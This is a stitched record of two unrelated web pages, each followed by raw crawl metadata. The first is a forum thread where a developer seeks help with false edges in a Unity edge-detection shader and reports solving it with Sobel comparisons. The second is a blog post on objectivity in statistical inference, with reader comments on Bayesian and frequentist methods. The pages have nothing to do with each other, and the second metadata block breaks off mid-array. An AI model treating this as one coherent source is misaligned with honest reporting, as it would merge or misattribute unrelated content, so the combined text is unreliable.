Edge detection image effect. Hello there, I am trying to get edge detection working in Unity and I am having a couple of problems. I know there are some of you on the forums that have experience with shaders and image effects so hopefully you can help ;) Ok so the first thing I tried was Unity's edge detection script that comes with the Standard Assets. I used the Triangle Depth Normals setting and it worked quite well but if you have a large plane it picks up false positives on the depth test. This happens because of the way the test works. It compares the depth value of 2 pixels opposite of the curent one. If there is a difference then it is considered to be a edge. So if you have a large plane and a shallow angle it passes that test even though I dont want lines to be drawn. It looks quite bad on the horizon. Another (better?) explanation of the problem with images can be found here : http://williamchyr.com/2014/03/development-update-edge-detection/ If I can figure out an additional test to rule out this behaviour I would be all set. While researching all of this I came across the excellent blog of William Chyr (Manifold Garden) here : http://williamchyr.com/tag/edge-detection/ In one of the posts (http://williamchyr.com/2014/05/revisiting-edge-detection/) he talks about an interesting way of implementing edge detection through the use of normals, colors and the depth buffer. I enthusiastically implemented this method but I discovered it has the same problem with artifacts at shallow angles and large distances. The reason is fairly similar. You are creating a unique color for each pixel based on its depth and normals. This means that at shallow angles and large distances the colors vary enough to be considered an edge. I tried to use the vertex shader to calculate a color based on the objects position but then I remembered that this shader is not attached to a GameObject and, the vertex shader is sending me the quad's information. If I can find a way of creating a unique color for an entire face depending on its normals and position I will be all set. Here isa selected image of the problem im trying to solve : willychyr.com/wp-content/uploads/2014/03/Edge_Detection-2014-03-31_19-49-50.png William solves both of these problems in his shaders and even describes how but I cant seem to get it working in my shaders. I tried his way of adding the 4 surrounding pixels depths together to get the average and then compare the average to the center pixels depth, but this gave me the same artifacts. Any help would be appreciated. I'm still a noob with shaders so this is proving to be challenging for me. Thanks, Kobus. PS : Sorry for the lack of formatting or code but I am currently without internet so I am using my phone to write this. PPS : William links to a post made by Lucas Pope (Papers Please) on the method his new game uses and from what I understand, instead of having the color changes be controlled by the Image Effect he attaches a shader to each game object and then that sets the color from which the edge detection can do its work. Link : https://forums.tigsource.com/index.php?topic=40832.msg1025558#msg1025558 Thanked by 2critic tbulford Comments • Interesting problem, have a look here for a starting point. https://docs.unity3d.com/Manual/SL-CameraDepthTexture.html • On a plane, the normal should stay constant, right? You're checking for that too, and still getting edges within planes? • @elyaradine Well at the moment there are 2 tests : 1. Is the adjacent pixels normals different ? If so this pixel is a edge . 2 is the adjacent pixels depths different ? If so this pixel is a edge. If I were to change the tests to be in a way that I assume you are suggesting it would look like this : 1. Is the adjacent pixels normals different and the adjacent pixels depths different ? If so this is an edge. But this will miss some cases where the normals are the same but the depth isn't • edited You could do a pixel removal pass that check the surrounding 4 pixels, if 3 of them are 'blank' then you remove that as an edge Are you using a luminescence/colour based edge detection or a normal based one, btw? It wasn't 100% clear from your post (and I only had time to skim it right now) I'll try flesh this idea out a bit tomorrow, but in a rush atm! *zoom* chat soon! • @raxter interesting idea. But again how would I determine which of my pixels are blank ? So in my first method I am using a normal + depth based one. In my second method I create a color for each pixel based on the normal + depth and then run a luminescence/color based detection on top of that. Both have this problem. Its a logic problem as far as I can tell. I just need a test that will eliminate the false positives. But I can't think of one. • I'm guessing here, but maybe distant objects are falsely passing the depth test because you haven't linearised it? (Usually you want more precise depth nearer the camera, so the depth texture's often encoded to give fine detail closer to the camera, and coarse data farther away, so maybe it's still in its exponential form?) Maybe you can use a depth texture with more precision? Maybe in your depth, if it's linear, if you current pixel's depth falls exactly (well, you can't measure exactness, but within a tolerance) in between the adjacent depths, that part of the surface is considered flat, and it's not an edge? I feel like with image-based methods you'll always be able to create cases that result in false positives, and it really comes down to tweaking your tolerance to give you an acceptable appearance. As far as making a game goes, it could mean designing your assets to avoid things looking wrong in the first place. Maybe your level's designed never to see a long, flat plane that goes far into the distance, because it's blocked by cliffs and buildings. Or maybe the edges fade away or also get thinner (to the point of disappearing). It could look quite pleasing, kind of like fog. Thanked by 2AngryMoose critic • So I do scale the required threshold by the distance of the pixel. Does that linearize it ? That fading of the edges is an interesting idea. I implemented and its looks pretty cool. Kind of like a pencil sketch. But my problem persists.. If you go closer towards the ground plane the angle towards the horizon gets sharper and thus the pixel depths vary more and more. I realize it must be difficult for you to help me without some sort of idea of the code. I will try to get internet somewhere to upload the shader code I am using. • edited I don't have Unity installed at work, (I'm not allowed to :P) but I remember there being a Unity macro that does the linearizing for you. I don't remember what it's called though. :P It might be DECODE_EYEDEPTH or LinearEyeDepth. I'd run a search in UnityCG.cginc to confirm. I think that to linearize it, you should be multiplying your depth lookup by the camera's far clipping distance. (Or maybe it's by the far clipping distance - the near clipping distance.) I actually forget this stuff all the time (because the standards seem to be different depending on platform or DX/OGL) and just try the next one if it looks wrong. XD If you're using a purely postprocess/image shader, you're always going to have the edge appearing as the surface normal and your view direction approach right angles. I don't think there's a way around that. ----- I've just been thinking about it a bit, and maybe there's another hack, if you're okay with not doing purely postprocess work (it comes at lots of other costs though). So, we're looking for every individual object to be a distinct (flat) colour, so that the edge detection filter highlights things correctly. Maybe you could use another pass on your objects that renders a colour based on its pivot. You can get the pivot by transforming the local position float4(0,0,0,1) into clip space, and shading a "unique" colour based on that. (It'd be some combination of x, y and z positions that gives you a unique colour, bearing in mind that in clip space x and y are bound between 0 and 1, or -1 and 1, and z is bound by the clipping planes. Or something similar, I always forget.) You'd use the result of this in your edge detecting filter, and it'll separate all of your objects -- as long as their pivots aren't in the same position in world space. You could do a variation of this too using the object's centre (the centre of its bounds), although, again, it's possible the test will fail if two objects somehow have the exact same mesh centres. I've never done this in Unity before, but Unreal has a node for it, so I imagine it'd be possible to get somehow. I know you can via script, and I'm quite sure there's a concept of "bounds" in a shader; I've just never tried accessing it before. The downside is that in this pass, you'll need your world not to have any batching, because anything that gets batched will end up having the same pivot. Worst case scenario, you end up with a lot of duplicate mesh data (one set where everything is separate to have different colours -- and even though they're all using the same shader, they can't be batched, so potentially huge drawcall count here -- and one set for batching). Sorry if any of this isn't clear, and not as terse or concise as I'd like. I haven't been thinking very sharply lately due to lack of sleep. :P Thanked by 1tbulford • I managed to solve this yesterday. I took a look at how unity implements their Sobel depth edge detection. So now I get the Sobel value of the the 4 pixels around the current one and then compare them. This works really great so I will post this image effect on github and share it once I get home :) Thanks again guys !! Thanked by 1tbulford • edited I am back on stable internet again (yay!) so here is what I ended up doing : Criticism is more than welcome. There is a lot of calculation going on so I am worried about the performance of this shader but so far it works. Here is a link to a gist : https://gist.github.com/Kobusvdwalt/d74ad7013255d275a03817453dfbe28a Thanked by 1Karuji Sign In or Register to comment.
{ "url": "http://makegamessa.com/discussion/4560/edge-detection-image-effect", "source_domain": "makegamessa.com", "snapshot_id": "crawl=CC-MAIN-2018-51", "warc_metadata": { "Content-Length": "38926", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:2JBZEGBHCI63QYXZJANC62V3V5OQGIAA", "WARC-Concurrent-To": "<urn:uuid:8dba4580-2b63-4357-b271-0aa5926aa4cf>", "WARC-Date": "2018-12-15T03:24:09Z", "WARC-IP-Address": "75.119.200.252", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:AAGOKMZSYGUTWNF5UP4A2DJQDUNPE7DW", "WARC-Record-ID": "<urn:uuid:f7989556-b359-49b6-b5f0-cfe59ce1d8ac>", "WARC-Target-URI": "http://makegamessa.com/discussion/4560/edge-detection-image-effect", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:4af6137e-6f34-4c9b-b6ee-d62377f02f81>" }, "warc_info": "isPartOf: CC-MAIN-2018-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-182-98-18.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 29, 30, 43, 44, 257, 258, 827, 970, 1056, 1057, 1161, 1204, 1972, 2095, 2096, 2156, 2236, 2237, 2542, 2543, 2649, 2664, 2665, 2785, 2786, 3178, 3206, 3207, 3216, 3217, 3281, 3282, 3345, 3470, 3486, 3529, 3608, 3684, 3685, 3793, 3907, 3908, 3993, 4004, 4136, 4137, 4305, 4306, 4392, 4485, 4486, 4551, 4552, 4702, 4703, 4859, 5244, 5245, 5488, 5489, 6074, 6108, 6204, 6205, 6486, 6487, 6655, 6666, 6946, 6947, 7306, 7307, 7519, 7520, 7530, 7702, 7703, 8318, 8319, 8493, 8494, 8942, 8943, 9378, 9379, 9527, 9552, 9857, 9858, 9883, 9908, 9919, 10000, 10149, 10150, 10250, 10273 ], "line_end_idx": [ 29, 30, 43, 44, 257, 258, 827, 970, 1056, 1057, 1161, 1204, 1972, 2095, 2096, 2156, 2236, 2237, 2542, 2543, 2649, 2664, 2665, 2785, 2786, 3178, 3206, 3207, 3216, 3217, 3281, 3282, 3345, 3470, 3486, 3529, 3608, 3684, 3685, 3793, 3907, 3908, 3993, 4004, 4136, 4137, 4305, 4306, 4392, 4485, 4486, 4551, 4552, 4702, 4703, 4859, 5244, 5245, 5488, 5489, 6074, 6108, 6204, 6205, 6486, 6487, 6655, 6666, 6946, 6947, 7306, 7307, 7519, 7520, 7530, 7702, 7703, 8318, 8319, 8493, 8494, 8942, 8943, 9378, 9379, 9527, 9552, 9857, 9858, 9883, 9908, 9919, 10000, 10149, 10150, 10250, 10273, 10304 ] }
{ "red_pajama_v2": { "ccnet_original_length": 10304, "ccnet_original_nlines": 97, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.46181491017341614, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.032794248312711716, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.16531896591186523, "rps_doc_frac_unique_words": 0.326977014541626, "rps_doc_mean_word_length": 4.452608108520508, "rps_doc_num_sentences": 112, "rps_doc_symbol_to_word_ratio": 0.00044924000394530594, "rps_doc_unigram_entropy": 5.570041179656982, "rps_doc_word_count": 1783, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.047864969819784164, "rps_doc_frac_chars_dupe_6grams": 0.0430784709751606, "rps_doc_frac_chars_dupe_7grams": 0.03199395164847374, "rps_doc_frac_chars_dupe_8grams": 0.015241210348904133, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.006298020016402006, "rps_doc_frac_chars_top_3gram": 0.008565310388803482, "rps_doc_frac_chars_top_4gram": 0.007179750129580498, "rps_doc_books_importance": -982.89453125, "rps_doc_books_importance_length_correction": -982.89453125, "rps_doc_openwebtext_importance": -596.7039184570312, "rps_doc_openwebtext_importance_length_correction": -596.7039184570312, "rps_doc_wikipedia_importance": -363.6917724609375, "rps_doc_wikipedia_importance_length_correction": -363.6917724609375 }, "fasttext": { "dclm": 0.3856714963912964, "english": 0.953001081943512, "fineweb_edu_approx": 1.6110169887542725, "eai_general_math": 0.9431538581848145, "eai_open_web_math": 0.32397693395614624, "eai_web_code": 0.7076529860496521 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.0285", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
4,280,281,271,813,439,500
Objectivity in Statistics: “Arguments From Discretion and 3 Reactions” dirty hands We constantly hear that procedures of inference are inescapably subjective because of the latitude of human judgment as it bears on the collection, modeling, and interpretation of data. But this is seriously equivocal: Being the product of a human subject is hardly the same as being subjective, at least not in the sense we are speaking of—that is, as a threat to objective knowledge. Are all these arguments about the allegedly inevitable subjectivity of statistical methodology rooted in equivocations? I argue that they are! [This post combines this one and this one, as part of our monthly “3 years ago” memory lane.] “Argument from Discretion” (dirty hands) Insofar as humans conduct science and draw inferences, it is obvious that human judgments and human measurements are involved. True enough, but too trivial an observation to help us distinguish among the different ways judgments should enter, and how, nevertheless, to avoid introducing bias and unwarranted inferences. The issue is not that a human is doing the measuring, but whether we can reliably use the thing being measured to find out about the world. Remember the dirty-hands argument? In the early days of this blog (e.g., October 13, 16), I deliberately took up this argument as it arises in evidence-based policy because it offered a certain clarity that I knew we would need to come back to in considering general “arguments from discretion”. To abbreviate: 1. Numerous  human judgments go into specifying experiments, tests, and models. 2. Because there is latitude and discretion in these specifications, they are “subjective.” 3. Whether data are taken as evidence for a statistical hypothesis or model depends on these subjective methodological choices. 4. Therefore, statistical inference and modeling is invariably subjective, if only in part. We can spot the fallacy in the argument much as we did in the dirty hands argument about evidence-based policy. It is true, for example, that by employing a very insensitive test for detecting a positive discrepancy d’ from a 0 null, that the test has low probability of finding statistical significance even if a discrepancy as large as d’ exists. But that doesn’t prevent us from determining, objectively, that an insignificant difference from that test fails to warrant inferring evidence of a discrepancy less than d’. Test specifications may well be a matter of  personal interest and bias, but, given the choices made, whether or not an inference is warranted is not a matter of personal interest and bias. Setting up a test with low power against d’ might be a product of your desire not to find an effect for economic reasons, of insufficient funds to collect a larger sample, or of the inadvertent choice of a bureaucrat. Or ethical concerns may have entered. But none of this precludes our critical evaluation of what the resulting data do and do not indicate (about the question of interest). The critical task need not itself be a matter of economics, ethics, or what have you. Critical scrutiny of evidence reflects an interest all right—an interest in not being misled, an interest in finding out what the case is, and others of an epistemic nature. Objectivity in statistical inference, and in science more generally, is a matter of being able to critically evaluate the warrant of any claim. This, in turn, is a matter of evaluating the extent to which we have avoided or controlled those specific flaws that could render the claim incorrect. If the inferential account cannot discern any flaws, performs the task poorly, or denies there can ever be errors, then it fails as an objective method of obtaining knowledge. Consider a parallel with the problem of objectively interpreting observations: observations are always relative to the particular instrument or observation scheme employed.  But we are often aware not only of the fact that observation schemes influence what we observe but also of how they influence observations and how much noise they are likely to produce so as to subtract them out. Hence, objective learning from observation is not a matter of getting free of arbitrary choices of instrument, but a matter of critically evaluating the extent of their influence to get at the underlying phenomenon. For a similar analogy, the fact that my weight shows up as k pounds reflects the convention (in the United States) of using the pound as a unit of measurement on a particular type of scale. But given the convention of using this scale, whether or not my weight shows up as k pounds is a matter of how much I weigh!* Likewise, the result of a statistical test is only partly determined by the specification of the tests (e.g., when a result counts as statistically significant); it is also determined by the underlying scientific phenomenon, at least as modeled.  What enables objective learning to take place is the possibility of devising means for recognizing and effectively “subtracting out” the influence of test specifications, in order to learn about the underlying phenomenon, as modeled. Focusing just on statistical inference, we can distinguish between an objective statistical inference, and an objective statistical method of inference.  A specific statistical inference is objectively warranted, if it has passed a severe test; a statistical method is objective by being able to evaluate and control (at least approximately) the error probabilities needed for a severity appraisal.  This also requires the method to communicate the information needed to conduct the error statistical evaluation  (or report it as problematic). It should be kept in mind that we are after the dual aims of severity and informativeness.  Merely stating tautologies is to state objectively true claims, but they are not informative. But, it is vital to have a notion of objectivity, and we should stop feeling that we have to say, well there are objective and subjective elements in all methods; we cannot avoid dirty hands in discretionary choices of specification, so all inference methods do about as well when it comes to the criteria of objectivity.  They do not. *Which, in turn, is a matter of my having overeaten in London. __________________ 3 Reactions to the Challenge of Objectivity (1) If discretionary judgments are thought to introduce subjectivity in inference, a classic strategy thought to achieve objectivity is to extricate such choices, replacing them with purely formal a priori computations or agreed-upon conventions (see March 14).  If leeway for discretion introduces subjectivity, then cutting off discretion must yield objectivity!  Or so some argue. Such strategies may be found, to varying degrees, across the different approaches to statistical inference. The inductive logics of the type developed by Carnap promised to be an objective guide for measuring degrees of confirmation in hypotheses, despite much-discussed problems, paradoxes, and conflicting choices of confirmation logics.  In Carnapian inductive logics, initial assignments of probability are based on a choice of language and on intuitive, logical principles. The consequent logical probabilities can then be updated (given the statements of evidence) with Bayes’s Theorem. The fact that the resulting degrees of confirmation are at the same time analytical and a priori—giving them an air of objectivity–reveals the central weakness of such confirmation theories as “guides for life”, e.g., —as guides, say, for empirical frequencies or for finding things out in the real world. Something very similar  happens with the varieties of “objective’” Bayesian accounts, both in statistics and in formal Bayesian epistemology in philosophy (a topic to which I will return; if interested, see my RMM contribution). A related way of trying to remove latitude for discretion might be to define objectivity in terms of the consensus of a specified group, perhaps of experts, or of agents with “diverse” backgrounds. Once again, such a convention may enable agreement yet fail to have the desired link-up with the real world.  It would be necessary to show why consensus reached by the particular choice of group (another area for discretion) achieves the learning goals of interest. Likewise, routine and automatic choices in statistics can be justified as promoting a specified goal, but it is the onus of anyone supporting the account in question to show this. (2) The second reaction is to acknowledge and even to embrace subjective and personal factors.  For Savage (1964: 178) the fact that a subjective (which I am not here distinguishing from a “personalistic”) account restores the role of opinion in statistics was a cause of celebration.  I am not sure if current-day subjective Bayesians concur—but I would like to hear from them. Underlying this second reaction, there is often a deep confusion between our limits in achieving the goal of adequately capturing a given data generating mechanism, and making the goal itself be to capture our subjective degrees of belief in (or about) the data generating mechanism. The former may be captured by severity assessments (or something similar), but these are not posterior probabilities (even if one grants the latter could be).  Most importantly for the current issue, assessing the existing limitations and inadequacies of inferences is not the same as making our goal be to quantitatively model (our or someone else’s) degrees of belief!  Yet these continue to be run together, making it easy to suppose that acknowledging the former limitation is tantamount to accepting the latter. As I noted in a March 14 comment to A. Spanos, “let us imagine there was a perfect way to measure a person’s real and true degrees of belief in a hypothesis (maybe with some neuropsychology development), while with frequentist statistical models, we grope our way and at most obtain statistically adequate representations of aspects of the data generating mechanism producing the relevant phenomenon. In the former [we are imagining], the measurement is 100% reliable, but the question that remains is the relevance of the thing being measured for finding out about the world. People seem utterly to overlook this” (at least when they blithely repeat variations on “arguments from discretion”, see March 14 post). Henry Kyburg (1992) put it in terms of error: the subjectivist precludes objectivity because they he or she cannot be in error: This is almost a touchstone of objectivity: the possibility of error. There is no way I can be in error in my prior distribution for µ—unless I make a logical error. . . . It is that very fact that makes this prior distribution perniciously subjective. It represents an assumption that has consequences, but cannot be corrected by criticism or further evidence. (p. 147) (3) The third way to deal with the challenges of objectivity in inference is to deliberately develop checks of error, and to insist that our statistical methods be self-correcting. Rather than expressing opinions, we want to avoid being misled by beliefs and opinions—mine and yours—building on the recognition that checks of error enable us to acquire reliable knowledge about the world. This third way is to discern what enabled us to reject the “dirty hands” argument: we can critically evaluate discretionary choices, and design methods to determine objectively what is and is not indicated. It may well mean that the interpretation of the data itself is a report of the obstacles to inference! Far from being a hodgepodge of assumptions and decisions, objectivity in inference can and should involve a systematic self-critical scrutiny all along the inferential path.  Each stage of inquiry and each question within that stage involve potential errors and biases. By making these explicit we can learn despite background judgments. Nowadays, the reigning mood may be toward some sort of third way; but we must be careful. Merely rejecting the dirty-hands conclusion (as in my March 14 post) is not yet to show that any particular method achieves such objective scrutiny in given cases.  Nor does it suffice to declare that “of course we subject our assumptions to stringent checks”, and “we will modify our models should we find misfits with the data”. We have seen in our posts on m-s tests, for instance, the dangers of “error fixing” strategies  (M-S post 1, 2, 3, 4).  The method for checking must itself be justified by showing it has the needed properties for pinpointing flaws reliably. It is not obvious that popular “third-way” gambits meet the error statistical requirements for objectivity in statistics that I have discussed in many previous posts and papers (the ability to evaluate and control relevant error probabilities). At least, it remains an open question as to whether they do. _____________ Carnap, R. (1962). Logical Foundations of Probability. Chicago: University of Chicago Press. Kyburg, H. E., Jr.  (1992). “The Scope of Bayesian Reasoning,” in D. Hull, M. Forbes, and K. Okruhlik (eds.), PSA 1992, Vol. II, East Lansing, MI: 139-52. Savage, L. J. (1964).  “The Foundations of Statistics Reconsidered,” pp. 173-188 in H. E. Kyburg and and H.E. Smokler (eds.), Studies in Subjective Probability, Wiley, New York: 173-88. Categories: Objectivity, Statistics | Tags: , | 6 Comments Post navigation 6 thoughts on “Objectivity in Statistics: “Arguments From Discretion and 3 Reactions” 1. Christian Hennig As you may have expected, I find this extremely interesting. I’m all for critical scrutiny of the evidence; I’m happy with most if not all that you advertise in the name of objectivity. Still, your text to me suggests a certain over-optimism regarding how far we can get “subtracting out” the effects of discretionary choices. I think that it is a legitimate use (one of the many possible and partly contradictory ones that one can find in the literature) of the term “objective” to say that it is objective what for example the result of a certain t-test implies and does not imply including an acknowledgement that this is based on the assumption of i.i.d. normality, which itself has to be open to critical scrutiny. However, there is no way, using methodology in a so-called “objective” way to distinguish normality and independence from every possible alternative that could potentially lead to substantially different conclusions regarding the underlying reality. At some point we always need to accept working with such a model having tested it in some ways and being not able to test it in some others. Where does this stand in your coordinate system of using the terminologies “objective” and “subjective”? There are certain possibilities even to analyse this, what potential problems it involves and how some of these (but not them all) can be dealt with, but often such possibilities (as in the robust statistics literature) come with the need of making further discretionary choices, tuning constants and the like. Personally, although I believe that you use the term “objective” in a consistent and legitimate way, I do believe that advertising objectivity in over-optimistic ways is very problematic in science and that there is a big problem with people trying to *appear* objective by hiding decisions from scrutiny some of which may be arbitrary, some of which may be sensible in their specific context although not generalisable, and some others of which may be absolutely required to get the statistical machinery (frequentist or Bayesian or whatever) going in the first place. I also believe that the wording “getting your hands dirty” conveys a bad message, namely that either people should clean their hands (i.e., appearing not to make decisions at all), or that once the hand are dirty, everything is possible – and arbitrary. As far as I understand you, you object against this idea as I do, but wouldn’t it then be helpful to have more positive and constructive ideas about how and why to make such decisions, and to encourage scientists to be open and honest about them? But this would require an acknowledgement of the benefits and necessities of such decisions and the rationales behind them, rather than talking exclusively about the “objective” side of things, only grudgingly accepting that discretionary decisions exist but should be “substracted out” as far as we can, wouldn’t it? • What was my text to you? These are reblogs from the “objectivity” series (of 5 or more) from 3 years ago. Interestingly, I didn’t find there’s much I’d change, except that more needs to be said about the epistemology and metaphysics behind many existing positions on objectivity. The “dirty hands” analogy is one used by others in the risk assessment context to claim “we all have dirty hands”, thus we all are biased, thus scientists should bias their reports in favor of the common good (this was the ethics in evidence post, and this argument is more prevalent than ever.) I am arguing AGAINST the dirty hands allegation, so I am agreeing with you that discretionary choices don’t or needn’t dirty our hands. The “dirty hands” post: https://errorstatistics.com/2011/10/13/objectivity-2-the-dirty-hands-argument-for-ethics-in-evidence/ • Mayo: We all busy with too many opportunities to read too many things. But Christian’s recent paper with Andrew addresses many issue of objectivity very nicely. Click to access objectivity10.pdf In that paper they reference Hasok Chang who seems very consistent with Peirce whom he seems to have gotten mostly from Amy McLaughlin (have to wait until I am at a library to access her work) and John Dewey – so you might be especially interested. • Keith: Yes, I’ve written very lengthy and detailed comments on that paper. At some point, once cleaned up and provided the authors concur, I can post them. It just so happened to be a topic that coincided with my (end of the month) three-year monthly memory lane routine. I also know Chang well–a fellow new experimentalist who was one of the people I invited to my Lakatos Prize dinner. (I guess you’re allowed to invite some very tiny number like 3). He had published, in Nature, an early and very favorable review of EGEK (1996). 2. Bayesforlife Two questions about objectivity. First, Bayes has the property that you can subdivide the data/evidence in any way you want, and process it any order you want and you’ll get the same final answer. Frequentists methods do not have that property. It’s possible for two different Frequentists for example to get difference answers just because they did the same group of tests/severity analysis in different orders. Isn’t it important that methods be “objective” in this way, or do you think it’s acceptable that irrelevant choices by the analyst can change the import of the same data/evidence? A follow on questions: if being “objective” in this way is important, why can’t we use this a (mathematical) requirement to limit acceptable procedures? Do you have any idea what formalism you’ll mathematically be lead to if you start imposing these kinds of objectivity requirements? Second, you say this about logical probabilities: “The fact that the resulting degrees of confirmation are at the same time analytical and a priori—giving them an air of objectivity–reveals the central weakness of such confirmation theories as “guides for life”, e.g., —as guides, say, for empirical frequencies or for finding things out in the real world.” For logical probabilities the idea is that P(A|B) represents a model of the uncertainty in A from partial evidence B. The form of P(A|B) then follows logically and objectively from B. “A” could be parameters predicted or unknown or could be a frequency. For example, A could be the percentage of heads in the next 1000 flips of a coin. So where in the world did you get the idea that P(A|B) couldn’t be a “guide for life” because it’s “logical” and “objective”? • BFL: Yes, Bayesians say they can toss things around, but many also say the prior is supposed to be before the data and not based on the data–warning against double counting. So their position is a bit unclear–doubtless it shifts for different Bayesians. If you’re alluding, at the start, to the fact that error statisticians violate the strong likelihood principle and that selection effects, stopping rules, multiple testing etc. alter error probabilities, then I say “guilty as charged”. That’s not irrelevant info for us. I mentioned the general key question raised of logical probabilities based on formal (first order) languages. A research programme essentially abandoned, but surely some still pursue it. One needs to set out all properties, possibly relations (I don’t think they’ve advanced to functions), individual entities, and then choose a “uniformity factor” lambda, and then a way to give initial assignments to states, or structures, or what have you. What you describe is in sync with having statements be statistical models, or in any event empirical and not purely formal, syntactical context-free claims. syntactic approach. I welcome constructive comments that are of relevance to the post and the discussion, and discourage detours into irrelevant topics, however interesting, or unconstructive declarations that "you (or they) are just all wrong". If you want to correct or remove a comment, send me an e-mail. If readers have already replied to the comment, you may be asked to replace it to retain comprehension. Fill in your details below or click an icon to log in: WordPress.com Logo You are commenting using your WordPress.com account. Log Out /  Change ) Google photo You are commenting using your Google account. Log Out /  Change ) Twitter picture You are commenting using your Twitter account. Log Out /  Change ) Facebook photo You are commenting using your Facebook account. Log Out /  Change ) Connecting to %s Blog at WordPress.com. %d bloggers like this:
{ "url": "https://errorstatistics.com/2015/03/21/objectivity-in-statistics-arguments-from-discretion-and-3-reactions/", "source_domain": "errorstatistics.com", "snapshot_id": "crawl=CC-MAIN-2021-43", "warc_metadata": { "Content-Length": "162337", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:ZRWFQBG33E5A4EKX7XHJCC3GDGZA6LUG", "WARC-Concurrent-To": "<urn:uuid:09282aca-1611-4f23-b480-a99c2ed2bbc3>", "WARC-Date": "2021-10-28T08:36:39Z", "WARC-IP-Address": "192.0.78.24", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:54EVB2EPS2ACMAEHP43HI2CELX22OG6F", "WARC-Record-ID": "<urn:uuid:d0f4de5e-6bba-43da-aed0-c65196fd0b28>", "WARC-Target-URI": "https://errorstatistics.com/2015/03/21/objectivity-in-statistics-arguments-from-discretion-and-3-reactions/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:e83fd224-cafb-4b83-be82-7e2e22e577d5>" }, "warc_info": "isPartOf: CC-MAIN-2021-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-149\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 71, 72, 84, 85, 708, 709, 750, 751, 1211, 1212, 1523, 1524, 1606, 1700, 1830, 1924, 1925, 2448, 2449, 3290, 3291, 3762, 3763, 4366, 4367, 4683, 4684, 5165, 5166, 5710, 5711, 6233, 6234, 6297, 6298, 6317, 6318, 6362, 6363, 8340, 8341, 8521, 8522, 10544, 10545, 10916, 10917, 12936, 12937, 13030, 13031, 13186, 13187, 13373, 13374, 13433, 13434, 13450, 13451, 13537, 13538, 13560, 13561, 13626, 13755, 13756, 13901, 13902, 14795, 14796, 15111, 15112, 15686, 15687, 16510, 16511, 17229, 17259, 17367, 17368, 17382, 17383, 17456, 17457, 17555, 17556, 17598, 17599, 17856, 17857, 18139, 18140, 18411, 18412, 18430, 18431, 18468, 18469, 19033, 19034, 19323, 19324, 19378, 19379, 19691, 19692, 20158, 20159, 20419, 20420, 20697, 20698, 21148, 21149, 21332, 21333, 21726, 21727, 21782, 21783, 21802, 21803, 21876, 21877, 21890, 21891, 21957, 21958, 21974, 21975, 22042, 22043, 22058, 22059, 22127, 22128, 22145, 22146, 22169, 22170 ], "line_end_idx": [ 71, 72, 84, 85, 708, 709, 750, 751, 1211, 1212, 1523, 1524, 1606, 1700, 1830, 1924, 1925, 2448, 2449, 3290, 3291, 3762, 3763, 4366, 4367, 4683, 4684, 5165, 5166, 5710, 5711, 6233, 6234, 6297, 6298, 6317, 6318, 6362, 6363, 8340, 8341, 8521, 8522, 10544, 10545, 10916, 10917, 12936, 12937, 13030, 13031, 13186, 13187, 13373, 13374, 13433, 13434, 13450, 13451, 13537, 13538, 13560, 13561, 13626, 13755, 13756, 13901, 13902, 14795, 14796, 15111, 15112, 15686, 15687, 16510, 16511, 17229, 17259, 17367, 17368, 17382, 17383, 17456, 17457, 17555, 17556, 17598, 17599, 17856, 17857, 18139, 18140, 18411, 18412, 18430, 18431, 18468, 18469, 19033, 19034, 19323, 19324, 19378, 19379, 19691, 19692, 20158, 20159, 20419, 